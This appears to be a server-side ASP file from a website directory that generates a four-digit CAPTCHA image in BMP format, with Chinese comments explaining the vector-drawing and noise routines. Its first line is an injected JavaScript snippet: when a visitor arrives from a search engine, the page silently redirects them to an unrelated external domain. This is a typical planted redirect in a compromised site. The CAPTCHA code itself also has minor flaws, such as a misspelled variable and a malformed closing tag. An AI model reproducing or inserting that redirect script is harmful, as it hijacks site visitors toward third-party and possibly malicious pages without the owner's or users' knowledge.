d:\wwwroot\wuchunhua\GetCode.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002: Const nMaxSaturation = 100         ' 最大色彩饱和度
003: Const nBlankNoisyDotOdds = 0.2  ' 空白处噪点率
004: Const nColorNoisyDotOdds = 0.1 ' 有色处噪点率
005: Const nCharCount = 4                  ' 产生的字符个数
006: Const nPixelWidth = 20               ' 单个字符位图的宽度
007: Const nPixelHeight = 20               ' 单个字符位图的高度
008: Const nColorHue = 220                  ' 显示验证码的色调(-1表示随机色调, -2表示灰度色调)
009: Const nAngleRandom = 10         ' 角度随机量
010: Const nLengthRandom = 10        ' 长度随机量(百分比)
011: Const cCharSet = "0123456789"
012:                                 ' 构成验证码的字符集
013:                                 ' 如果扩充了下边的字母矢量库,则可以相应扩充这个字符集
014:
015: Dim Buf(), DigtalStr
016: Dim Lines(), LineCount
017: Dim CursorX, CursorY, DirX, DirY
018:
019: Randomize
020: Call CreaalidCode("GetCode")
021:
022: Sub CDGen_Reset()
023:    ' 复位矢量笔和环境变量
024:    LineCount = 0
025:    CursorX = 0
026:    CursorY = 0
027:    ' 初始的光笔方向是垂直向下
028:    DirX = 0
029:    DirY = 1
030: End Sub
031:
032: Sub CDGen_Clear()
033:    ' 清空位图阵列
034:    Dim i, j
035:    ReDim Buf(nPixelHeight - 1, nCharCount * nPixelWidth - 1)
036:
037:    For j = 0 To nPixelHeight - 1
038:       For i = 0 To nCharCount * nPixelWidth - 1
039:          Buf(j, i) = 0
040:       Next
041:    Next
042: End Sub
043:
044: Sub CDGen_PSet(X, Y)
045:    ' 在位图阵列上画点
046:    Buf(Y, X) = 1
047: End Sub
048:
049: Sub CDGen_Line(X1, Y1, X2, Y2)
050:    ' 在位图阵列上画线
051:    Dim DX, DY, DeltaT, i
052:   
053:    DX = X2 - X1
054:    DY = Y2 - Y1
055:    If Abs(DX) > Abs(DY) Then DeltaT = Abs(DX) Else DeltaT = Abs(DY)
056:    For i = 0 To DeltaT
057:       CDGen_PSet X1 + DX * i / DeltaT, Y1 + DY * i / DeltaT
058:    Next
059: End Sub
060:
061: Sub CDGen_FowardDraw(nLength)
062:    ' 按当前光笔方向绘制指定长度并移动光笔,正数表示从左向右/从上向下绘制,负数表示从右向左/从下向上绘制
063:    nLength = Sgn(nLength) * Abs(nLength) * (1 - nLengthRandom / 100 + Rnd * nLenghtRandom * 2 / 100)
064:    ReDim Preserve Lines(3, LineCount)
065:    Lines(0, LineCount) = CursorX
066:    Lines(1, LineCount) = CursorY
067:    CursorX = CursorX + DirX * nLength
068:    CursorY = CursorY + DirY * nLength
069:    Lines(2, LineCount) = CursorX
070:    Lines(3, LineCount) = CursorY
071:    LineCount = LineCount + 1
072: End Sub
073:
074: Sub CDGen_SetDirection(nAngle)
075:    ' 按指定角度设定画笔方向, 正数表示相对当前方向顺时针改变方向,负数表示相对当前方向逆时针改变方向
076:    Dim DX, DY
077:   
078:    nAngle = Sgn(nAngle) * (Abs(nAngle) - nAngleRandom + Rnd * nAngleRandom * 2) / 180 * 3.1415926
079:    DX = DirX
080:    DY = DirY
081:    DirX = DX * Cos(nAngle) - DY * Sin(nAngle)
082:    DirY = DX * Sin(nAngle) + DY * Cos(nAngle)
083: End Sub
084:
085: Sub CDGen_MoveToMiddle(nActionIndex, nPercent)
086:    ' 将画笔光标移动到指定动作的中间点上,nPercent为中间位置的百分比
087:    Dim DeltaX, DeltaY
088:   
089:    DeltaX = Lines(2, nActionIndex) - Lines(0, nActionIndex)
090:    DeltaY = Lines(3, nActionIndex) - Lines(1, nActionIndex)
091:    CursorX = Lines(0, nActionIndex) + Sgn(DeltaX) * Abs(DeltaX) * nPercent / 100
092:    CursorY = Lines(1, nActionIndex) + Sgn(DeltaY) * Abs(DeltaY) * nPercent / 100
093: End Sub
094:
095: Sub CDGen_MoveCursor(nActionIndex)
096:    ' 将画笔光标移动到指定动作的起始点上
097:    CursorX = Lines(0, nActionIndex)
098:    CursorY = Lines(1, nActionIndex)
099: End Sub
100:
101: Sub CDGen_Close(nActionIndex)
102:    ' 将当前光笔位置与指定动作的起始点闭合并移动光笔
103:    ReDim Preserve Lines(3, LineCount)
104:    Lines(0, LineCount) = CursorX
105:    Lines(1, LineCount) = CursorY
106:    CursorX = Lines(0, nActionIndex)
107:    CursorY = Lines(1, nActionIndex)
108:    Lines(2, LineCount) = CursorX
109:    Lines(3, LineCount) = CursorY
110:    LineCount = LineCount + 1
111: End Sub
112:
113: Sub CDGen_CloseToMiddle(nActionIndex, nPercent)
114:    ' 将当前光笔位置与指定动作的中间点闭合并移动光笔,nPercent为中间位置的百分比
115:    Dim DeltaX, DeltaY
116:   
117:    ReDim Preserve Lines(3, LineCount)
118:    Lines(0, LineCount) = CursorX
119:    Lines(1, LineCount) = CursorY
120:    DeltaX = Lines(2, nActionIndex) - Lines(0, nActionIndex)
121:    DeltaY = Lines(3, nActionIndex) - Lines(1, nActionIndex)
122:    CursorX = Lines(0, nActionIndex) + Sgn(DeltaX) * Abs(DeltaX) * nPercent / 100
123:    CursorY = Lines(1, nActionIndex) + Sgn(DeltaY) * Abs(DeltaY) * nPercent / 100
124:    Lines(2, LineCount) = CursorX
125:    Lines(3, LineCount) = CursorY
126:    LineCount = LineCount + 1
127: End Sub
128:
129: Sub CDGen_Flush(X0, Y0)
130:    ' 按照当前的画笔动作序列绘制位图点阵
131:    Dim MaxX, MinX, MaxY, MinY
132:    Dim DeltaX, DeltaY, StepX, StepY, OffsetX, OffsetY
133:    Dim i
134:
135:    MaxX = MinX = MaxY = MinY = 0
136:    For i = 0 To LineCount - 1
137:       If MaxX < Lines(0, i) Then MaxX = Lines(0, i)
138:       If MaxX < Lines(2, i) Then MaxX = Lines(2, i)
139:       If MinX > Lines(0, i) Then MinX = Lines(0, i)
140:       If MinX > Lines(2, i) Then MinX = Lines(2, i)
141:       If MaxY < Lines(1, i) Then MaxY = Lines(1, i)
142:       If MaxY < Lines(3, i) Then MaxY = Lines(3, i)
143:       If MinY > Lines(1, i) Then MinY = Lines(1, i)
144:       If MinY > Lines(3, i) Then MinY = Lines(3, i)
145:    Next
146:    DeltaX = MaxX - MinX
147:    DeltaY = MaxY - MinY
148:    If DeltaX = 0 Then DeltaX = 1
149:    If DeltaY = 0 Then DeltaY = 1
150:    MaxX = MinX
151:    MaxY = MinY
152:    If DeltaX > DeltaY Then
153:       StepX = (nPixelWidth - 2) / DeltaX
154:       StepY = (nPixelHeight - 2) / DeltaX
155:       OffsetX = 0
156:       OffsetY = (DeltaX - DeltaY) / 2
157:    Else
158:       StepX = (nPixelWidth - 2) / DeltaY
159:       StepY = (nPixelHeight - 2) / DeltaY
160:       OffsetX = (DeltaY - DeltaX) / 2
161:       OffsetY = 0
162:    End If
163:    For i = 0 To LineCount - 1
164:       Lines(0, i) = Round((Lines(0, i) - MaxX + OffsetX) * StepX, 0)
165:       If Lines(0, i) < 0 Then Lines(0, i) = 0
166:       If Lines(0, i) >= nPixelWidth - 2 Then Lines(0, i) = nPixelWidth - 3
167:       Lines(1, i) = Round((Lines(1, i) - MaxY + OffsetY) * StepY, 0)
168:       If Lines(1, i) < 0 Then Lines(1, i) = 0
169:       If Lines(1, i) >= nPixelHeight - 2 Then Lines(1, i) = nPixelHeight - 3
170:       Lines(2, i) = Round((Lines(2, i) - MinX + OffsetX) * StepX, 0)
171:       If Lines(2, i) < 0 Then Lines(2, i) = 0
172:       If Lines(2, i) >= nPixelWidth - 2 Then Lines(2, i) = nPixelWidth - 3
173:       Lines(3, i) = Round((Lines(3, i) - MinY + OffsetY) * StepY, 0)
174:       If Lines(3, i) < 0 Then Lines(3, i) = 0
175:       If Lines(3, i) >= nPixelHeight - 2 Then Lines(3, i) = nPixelHeight - 3
176:       CDGen_Line Lines(0, i) + X0 + 1, Lines(1, i) + Y0 + 1, Lines(2, i) + X0 + 1, Lines(3, i) + Y0 + 1
177:    Next
178: End Sub
179:
180: Sub CDGen_Char(cChar, X0, Y0)
181:    ' 在指定坐标处生成指定字符的位图阵列
182:    CDGen_Reset
183:    Select Case cChar
184:    Case "0"
185:       CDGen_SetDirection -60                            ' 逆时针60度(相对于垂直线)
186:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
187:       CDGen_SetDirection -60                            ' 逆时针60度
188:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
189:       CDGen_SetDirection 120                            ' 顺时针120度
190:       CDGen_FowardDraw 1.5                              ' 绘制1.5个单位
191:       CDGen_SetDirection -60                            ' 逆时针60度
192:       CDGen_FowardDraw 0.7                              ' 绘制0.7个单位
193:       CDGen_SetDirection -60                            ' 顺时针120度
194:       CDGen_FowardDraw 0.7                              ' 绘制0.7个单位
195:       CDGen_Close 0                                     ' 封闭当前笔与第0笔(0开始)
196:    Case "1"
197:       CDGen_SetDirection -90                            ' 逆时针90度(相对于垂直线)
198:       CDGen_FowardDraw 0.5                              ' 绘制0.5个单位
199:       CDGen_MoveToMiddle 0, 50                          ' 移动画笔的位置到第0笔(0开始)的50%处
200:       CDGen_SetDirection 90                             ' 逆时针90度
201:       CDGen_FowardDraw -1.4                             ' 反方向绘制1.4个单位
202:       CDGen_SetDirection 30                             ' 逆时针30度
203:       CDGen_FowardDraw 0.4                              ' 绘制0.4个单位
204:    Case "2"
205:       CDGen_SetDirection 45                             ' 顺时针45度(相对于垂直线)
206:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
207:       CDGen_SetDirection -120                           ' 逆时针120度
208:       CDGen_FowardDraw 0.4                              ' 绘制0.4个单位
209:       CDGen_SetDirection 60                             ' 顺时针60度
210:       CDGen_FowardDraw 0.6                              ' 绘制0.6个单位
211:       CDGen_SetDirection 60                             ' 顺时针60度
212:       CDGen_FowardDraw 1.6                              ' 绘制1.6个单位
213:       CDGen_SetDirection -135                           ' 逆时针135度
214:       CDGen_FowardDraw 1.0                              ' 绘制1.0个单位
215:    Case "3"
216:       CDGen_SetDirection -90                            ' 逆时针90度(相对于垂直线)
217:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
218:       CDGen_SetDirection 135                            ' 顺时针135度
219:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
220:       CDGen_SetDirection -120                           ' 逆时针120度
221:       CDGen_FowardDraw 0.6                              ' 绘制0.6个单位
222:       CDGen_SetDirection 80                             ' 顺时针80度
223:       CDGen_FowardDraw 0.5                              ' 绘制0.5个单位
224:       CDGen_SetDirection 60                             ' 顺时针60度
225:       CDGen_FowardDraw 0.5                              ' 绘制0.5个单位
226:       CDGen_SetDirection 60                             ' 顺时针60度
227:       CDGen_FowardDraw 0.5                              ' 绘制0.5个单位
228:    Case "4"
229:       CDGen_SetDirection 20                             ' 顺时针20度(相对于垂直线)
230:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
231:       CDGen_SetDirection -110                           ' 逆时针110度
232:       CDGen_FowardDraw 1.2                              ' 绘制1.2个单位
233:       CDGen_MoveToMiddle 1, 60                          ' 移动画笔的位置到第1笔(0开始)的60%处
234:       CDGen_SetDirection 90                             ' 顺时针90度
235:       CDGen_FowardDraw 0.7                              ' 绘制0.7个单位
236:       CDGen_MoveCursor 2                                ' 移动画笔到第2笔(0开始)的开始处
237:       CDGen_FowardDraw -1.5                             ' 反方向绘制1.5个单位
238:    Case "5"
239:       CDGen_SetDirection 90                             ' 顺时针90度(相对于垂直线)
240:       CDGen_FowardDraw 1.0                              ' 绘制1.0个单位
241:       CDGen_SetDirection -90                            ' 逆时针90度
242:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
243:       CDGen_SetDirection -90                            ' 逆时针90度
244:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
245:       CDGen_SetDirection 30                             ' 顺时针30度
246:       CDGen_FowardDraw 0.4                              ' 绘制0.4个单位
247:       CDGen_SetDirection 60                             ' 顺时针60度
248:       CDGen_FowardDraw 0.4                              ' 绘制0.4个单位
249:       CDGen_SetDirection 30                             ' 顺时针30度
250:       CDGen_FowardDraw 0.5                              ' 绘制0.5个单位
251:       CDGen_SetDirection 60                             ' 顺时针60度
252:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
253:    Case "6"
254:       CDGen_SetDirection -60                            ' 逆时针60度(相对于垂直线)
255:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
256:       CDGen_SetDirection -60                            ' 逆时针60度
257:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
258:       CDGen_SetDirection 120                            ' 顺时针120度
259:       CDGen_FowardDraw 1.5                              ' 绘制1.5个单位
260:       CDGen_SetDirection 120                            ' 顺时针120度
261:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
262:       CDGen_SetDirection 120                            ' 顺时针120度
263:       CDGen_FowardDraw 0.7                              ' 绘制0.7个单位
264:       CDGen_SetDirection 120                            ' 顺时针120度
265:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
266:       CDGen_SetDirection 120                            ' 顺时针120度
267:       CDGen_FowardDraw 0.5                              ' 绘制0.5个单位
268:       CDGen_CloseToMiddle 2, 50                         ' 将当前画笔位置与第2笔(0开始)的50%处封闭
269:    Case "7"
270:       CDGen_SetDirection 180                            ' 顺时针180度(相对于垂直线)
271:       CDGen_FowardDraw 0.3                              ' 绘制0.3个单位
272:       CDGen_SetDirection 90                             ' 顺时针90度
273:       CDGen_FowardDraw 0.9                              ' 绘制0.9个单位
274:       CDGen_SetDirection 120                            ' 顺时针120度
275:       CDGen_FowardDraw 1.3                              ' 绘制1.3个单位
276:    Case "8"
277:       CDGen_SetDirection -60                            ' 逆时针60度(相对于垂直线)
278:       CDGen_FowardDraw -0.8                             ' 反方向绘制0.8个单位
279:       CDGen_SetDirection -60                            ' 逆时针60度
280:       CDGen_FowardDraw -0.8                             ' 反方向绘制0.8个单位
281:       CDGen_SetDirection 120                            ' 顺时针120度
282:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
283:       CDGen_SetDirection 110                            ' 顺时针110度
284:       CDGen_FowardDraw -1.5                             ' 反方向绘制1.5个单位
285:       CDGen_SetDirection -110                           ' 逆时针110度
286:       CDGen_FowardDraw 0.9                              ' 绘制0.9个单位
287:       CDGen_SetDirection 60                             ' 顺时针60度
288:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
289:       CDGen_SetDirection 60                             ' 顺时针60度
290:       CDGen_FowardDraw 0.8                              ' 绘制0.8个单位
291:       CDGen_SetDirection 60                             ' 顺时针60度
292:       CDGen_FowardDraw 0.9                              ' 绘制0.9个单位
293:       CDGen_SetDirection 70                             ' 顺时针70度
294:       CDGen_FowardDraw 1.5                               ' 绘制1.5个单位
295:       CDGen_Close 0                                     ' 封闭当前笔与第0笔(0开始)
296:    Case "9"
297:       CDGen_SetDirection 120                            ' 逆时针60度(相对于垂直线)
298:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
299:       CDGen_SetDirection -60                            ' 逆时针60度
300:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
301:       CDGen_SetDirection -60                            ' 顺时针120度
302:       CDGen_FowardDraw -1.5                              ' 绘制1.5个单位
303:       CDGen_SetDirection -60                            ' 顺时针120度
304:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
305:       CDGen_SetDirection -60                            ' 顺时针120度
306:       CDGen_FowardDraw -0.7                              ' 绘制0.7个单位
307:       CDGen_SetDirection 120                            ' 顺时针120度
308:       CDGen_FowardDraw 0.7                             ' 反方向绘制0.7个单位
309:       CDGen_SetDirection -60                            ' 顺时针120度
310:       CDGen_FowardDraw 0.5                              ' 绘制0.5个单位
311:       CDGen_CloseToMiddle 2, 50                         ' 将当前画笔位置与第2笔(0开始)的50%处封闭
312:    ' 以下为字母的矢量动作,有兴趣的可以继续
313:    Case "A"
314:       CDGen_SetDirection -(Rnd * 20 + 150)              ' 逆时针150-170度(相对于垂直线)
315:       CDGen_FowardDraw Rnd * 0.2 + 1.1                  ' 绘制1.1-1.3个单位
316:       CDGen_SetDirection Rnd * 20 + 140                 ' 顺时针140-160度
317:       CDGen_FowardDraw Rnd * 0.2 + 1.1                  ' 绘制1.1-1.3个单位
318:       CDGen_MoveToMiddle 0, 30                          ' 移动画笔的位置到第1笔(0开始)的30%处
319:       CDGen_CloseToMiddle 1, 70                         ' 将当前画笔位置与第1笔(0开始)的70%处封闭
320:    Case "B"
321:       CDGen_SetDirection -(Rnd * 20 + 50)               ' 逆时针50-70度(相对于垂直线)
322:       CDGen_FowardDraw Rnd * 0.4 + 0.8                  ' 绘制0.8-1.2个单位
323:       CDGen_SetDirection Rnd * 20 + 110                 ' 顺时针110-130度
324:       CDGen_FowardDraw Rnd * 0.2 + 0.6                  ' 绘制0.6-0.8个单位
325:       CDGen_SetDirection -(Rnd * 20 + 110)              ' 逆时针110-130度
326:       CDGen_FowardDraw Rnd * 0.2 + 0.6                  ' 绘制0.6-0.8个单位
327:       CDGen_SetDirection Rnd * 20 + 110                 ' 顺时针110-130度
328:       CDGen_FowardDraw Rnd * 0.4 + 0.8                  ' 绘制0.8-1.2个单位
329:       CDGen_Close 0                                     ' 封闭当前笔与第1笔(0开始)
330:    Case "C"
331:       CDGen_SetDirection -60                            ' 逆时针60度(相对于垂直线)
332:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
333:       CDGen_SetDirection -60                            ' 逆时针60度
334:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
335:       CDGen_SetDirection 120                            ' 顺时针120度
336:       CDGen_FowardDraw 1.5                              ' 绘制1.5个单位
337:       CDGen_SetDirection 120                            ' 顺时针120度
338:       CDGen_FowardDraw -0.7                             ' 反方向绘制0.7个单位
339:       CDGen_SetDirection 120                            ' 顺时针120度
340:       CDGen_FowardDraw 0.7                              ' 绘制0.7个单位
341:    End Select
342:    CDGen_Flush X0, Y0
343: End Sub
344:
345: Sub CDGen_Blur()
346:    ' 对产生的位图进行柔化处理
347:    Dim i, j
348:   
349:    For j = 1 To nPixelHeight - 2
350:       For i = 1 To nCharCount * nPixelWidth - 2
351:          If Buf(j, i) = 0 Then
352:             If ((Buf(j, i - 1) Or Buf(j + 1, i)) And 1) <> 0 Then
353:                ' 如果当前点是空白点,且上下左右四个点中有一个点是有色点,则该点做柔化处理
354:                Buf(j, i) = 2
355:             End If
356:          End If
357:       Next
358:    Next
359: End Sub
360:
361: Sub CDGen_NoisyDot()
362:    ' 对产生的位图进行噪点处理
363:    Dim i, j, NoisyDot, CurDot
364:   
365:    For j = 0 To nPixelHeight - 1
366:       For i = 0 To nCharCount * nPixelWidth - 1
367:          If Buf(j, i) <> 0 Then
368:             NoisyDot = Int(Rnd * Rnd * nMaxSaturation)
369:             Select Case nColorNoisyDotOdds
370:             Case 0
371:                CurDot = nMaxSaturation
372:             Case 1
373:                CurDot = 0
374:             Case Else
375:                CurDot = NoisyDot
376:             End Select
377:             If Rnd < nColorNoisyDotOdds Then Buf(j, i) = CurDot Else Buf(j, i) = nMaxSaturation
378:          Else
379:             NoisyDot = Int(Rnd * nMaxSaturation)
380:             Select Case nBlankNoisyDotOdds
381:             Case 0
382:                CurDot = 0
383:             Case 1
384:                CurDot = nMaxSaturation
385:             Case Else
386:                CurDot = NoisyDot
387:             End Select
388:             If Rnd < nBlankNoisyDotOdds Then Buf(j, i) = CurDot Else Buf(j, i) = 0
389:          End If
390:       Next
391:    Next
392: End Sub
393:
394: Sub CDGen()
395:    ' 生成位图阵列
396:    Dim i, Ch
397:   
398:    DigtalStr = ""
399:    CDGen_Clear
400:    For i = 0 To nCharCount - 1
401:       Ch = Mid(cCharSet, Int(Rnd * Len(cCharSet)) + 1, 1)
402:       DigtalStr = DigtalStr + Ch
403:       CDGen_Char Ch, i * nPixelWidth, 0
404:    Next
405:    CDGen_Blur
406:    CDGen_NoisyDot
407: End Sub
408:
409: Function HSBToRGB(vH, vS, vB)
410:    ' 将颜色值由HSB转换为RGB
411:    Dim aRGB(3), RGB1st, RGB2nd, RGB3rd
412:    Dim nH, nS, nB
413:    Dim lH, nF, nP, nQ, nT
414:
415:    vH = (vH Mod 360)
416:    If vS > 100 Then
417:       vS = 100
418:    ElseIf vS < 0 Then
419:       vS = 0
420:    End If
421:    If vB > 100 Then
422:       vB = 100
423:    ElseIf vB < 0 Then
424:       vB = 0
425:    End If
426:    If vS > 0 Then
427:       nH = vH / 60
428:       nS = vS / 100
429:       nB = vB / 100
430:       lH = Int(nH)
431:       nF = nH - lH
432:       nP = nB * (1 - nS)
433:       nQ = nB * (1 - nS * nF)
434:       nT = nB * (1 - nS * (1 - nF))
435:       Select Case lH
436:       Case 0
437:          aRGB(0) = nB * 255
438:          aRGB(1) = nT * 255
439:          aRGB(2) = nP * 255
440:       Case 1
441:          aRGB(0) = nQ * 255
442:          aRGB(1) = nB * 255
443:          aRGB(2) = nP * 255
444:       Case 2
445:          aRGB(0) = nP * 255
446:          aRGB(1) = nB * 255      
447:          aRGB(2) = nT * 255
448:       Case 3
449:          aRGB(0) = nP * 255
450:          aRGB(1) = nQ * 255
451:          aRGB(2) = nB * 255
452:       Case 4
453:          aRGB(0) = nT * 255
454:          aRGB(1) = nP * 255
455:          aRGB(2) = nB * 255
456:       Case 5
457:          aRGB(0) = nB * 255
458:          aRGB(1) = nP * 255
459:          aRGB(2) = nQ * 255
460:       End Select        
461:    Else
462:       aRGB(0) = (vB * 255) / 100
463:       aRGB(1) = aRGB(0)
464:       aRGB(2) = aRGB(0)
465:    End If
466:    HSBToRGB = ChrB(Round(aRGB(2), 0)) & ChrB(Round(aRGB(1), 0)) & ChrB(Round(aRGB(0), 0))
467: End Function
468:
469: Sub CreaalidCode(pSN)
470:    Dim i, j, CurColorHue
471:   
472:    ' 禁止缓存
473:    Response.Expires = -9999
474:    Response.AddHeader "pragma", "no-cache"
475:    Response.AddHeader "cache-ctrol", "no-cache"
476:    Response.ContentType = "image/bmp"
477:   
478:    Call CDGen
479:    Session(pSN) = DigtalStr   '记录入Session
480:
481:    Dim PicWidth, PicHeight, FileSize, PicDataSize
482:    PicWidth = nCharCount * nPixelWidth
483:    PicHeight = nPixelHeight
484:    PicDataSize = PicWidth * PicHeight * 3
485:    FileSize = PicDataSize + 54
486:
487:    ' 输出BMP文件信息头
488:    Response.BinaryWrite ChrB(66) & ChrB(77) & _
489:       ChrB(FileSize Mod 256) & ChrB((FileSize \ 256) Mod 256) & ChrB((FileSize \ 256 \ 256) Mod 256) & ChrB(FileSize \ 256 \ 256 \ 256) & _
490:       ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & _
491:       ChrB(54) & ChrB(0) & ChrB(0) & ChrB(0)
492:
493:    ' 输出BMP位图信息头
494:    Response.BinaryWrite ChrB(40) & ChrB(0) & ChrB(0) & ChrB(0) & _
495:       ChrB(PicWidth Mod 256) & ChrB((PicWidth \ 256) Mod 256) & ChrB((PicWidth \ 256 \ 256) Mod 256) & ChrB(PicWidth \ 256 \ 256 \ 256) & _
496:       ChrB(PicHeight Mod 256) & ChrB((PicHeight \ 256) Mod 256) & ChrB((PicHeight \ 256 \ 256) Mod 256) & ChrB(PicHeight \ 256 \ 256 \ 256) & _
497:       ChrB(1) & ChrB(0) & _
498:       ChrB(24) & ChrB(0) & _
499:       ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & _
500:       ChrB(PicDataSize Mod 256) & ChrB((PicDataSize \ 256) Mod 256) & ChrB((PicDataSize \ 256 \ 256) Mod 256) & ChrB(PicDataSize \ 256 \ 256 \ 256) & _
501:       ChrB(18) & ChrB(11) & ChrB(0) & ChrB(0) & _
502:       ChrB(18) & ChrB(11) & ChrB(0) & ChrB(0) & _
503:       ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & _
504:       ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0)
505:
506:    ' 逐点输出位图阵列
507:    If nColorHue = -1 Then
508:       CurColorHue = Int(Rnd * 360)
509:    ElseIf nColorHue = -2 Then
510:       CurColorHue = 0
511:    Else
512:       CurColorHue = nColorHue
513:    End If
514:    For j = 0 To nPixelHeight - 1
515:       For i = 0 To Len(DigtalStr) * nPixelWidth - 1
516:          If nColorHue = -2 Then
517:             Response.BinaryWrite HSBToRGB(CurColorHue, 0, 100 - Buf(nPixelHeight - 1 - j, i))
518:          Else
519:             Response.BinaryWrite HSBToRGB(CurColorHue, Buf(nPixelHeight - 1 - j, i), 100)
520:          End If
521:       Next
522:    Next
523: End Sub
524: %
>
525:
526:
527: